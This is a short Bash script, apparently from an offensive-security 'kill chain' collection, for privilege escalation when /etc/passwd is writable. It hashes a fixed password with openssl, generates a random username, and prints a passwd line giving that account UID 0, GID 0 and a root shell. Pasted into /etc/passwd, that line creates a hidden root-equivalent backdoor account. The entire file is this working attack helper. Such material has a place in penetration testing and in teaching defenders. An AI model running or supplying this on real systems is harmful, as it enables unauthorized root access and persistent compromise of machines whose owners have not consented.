killchain-compendium/Post Exploitation/Privilege Escalation/write_etc_passwd.sh

19 lines
414 B
Bash
Executable File

#!/usr/bin/env sh
# Use when /etc/passwd is writeable
printf "\n[*] Create hash for password\n"
NEWUSER=$(openssl passwd -1 -salt salt password)
printf $NEWUSER
printf "\n"
printf "\n[*] Generate username\n"
NEWNAME=$(head -n 1 /dev/urandom | tr -cd '[:alpha:]' | cut -c -5)
printf $NEWNAME
printf "\n"
printf "\n[$] Paste to /etc/passwd\n"
printf $NEWNAME":"$NEWUSER":0:0:root:/root:/bin/bash"
printf "\n"